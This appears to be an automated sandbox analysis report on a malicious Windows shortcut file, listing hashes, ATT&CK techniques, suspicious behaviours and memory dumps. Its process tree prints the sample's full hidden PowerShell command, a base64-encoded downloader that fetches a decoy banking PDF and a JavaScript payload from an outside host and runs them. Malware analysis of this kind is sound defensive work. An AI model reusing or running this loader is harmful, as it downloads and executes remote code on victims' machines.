0040de802062e7a83c6f785781873e9c78ec3fe70b8a3c7c3274fdce08b6a6c1

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
12-07-2024 06:04

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General

Target

0040de802062e7a83c6f785781873e9c78ec3fe70b8a3c7c3274fdce08b6a6c1.lnk
Size

2KB
MD5

7e7b20e421442d74655685583b4036de
SHA1

cf936b1fe122c6a5029c07a64a0f8674b31464af
SHA256

0040de802062e7a83c6f785781873e9c78ec3fe70b8a3c7c3274fdce08b6a6c1
SHA512

e58df7f695e08bc57c30a518f35c84b9ab70597696d579291b12c2534a06b24018920cd09f4a0652dcca9791eca207646e4ce38f03bf3650c093a8db9ffe9318

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2776	2400	cmd.exe	31
PID 2400 wrote to memory of 2776	2400	cmd.exe	31
PID 2400 wrote to memory of 2776	2400	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\0040de802062e7a83c6f785781873e9c78ec3fe70b8a3c7c3274fdce08b6a6c1.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -NoExit -Command "$avesqBoj49s = 'aXdyIC1VcmkgaHR0cHM6Ly9xdS5heC9PekZMLnBkZiAtT3V0RmlsZSAkZW52OlRFTVBcT25saW5lIEJhbmtpbmcgUGF5bWVudCBBZHZpY2UucGRmLnBkZjtTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxPbmxpbmUgQmFua2luZyBQYXltZW50IEFkdmljZS5wZGYucGRmO1N0YXJ0LVNsZWVwIC1zIDM7U3RhcnQtU2xlZXAgLXMgMztTdGFydC1TbGVlcCAtcyAzO2l3ciAtVXJpIGh0dHBzOi8vcXUuYXgvTnBsLmpzIC1PdXRGaWxlICRlbnY6VEVNUFxWeEl0RVQuanM7U3RhcnQtUHJvY2VzcyAkZW52OlRFTVBcVnhJdEVULmpzOyRhaD0nWWV4cjc0SFhXNkRpJztFeGl0';$EtRpa8h = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($avesqBoj49s));Invoke-Expression -Command $EtRpa8h"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2776-38-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2776-39-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2776-40-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2776-41-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-42-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-43-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-44-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-45-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-46-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download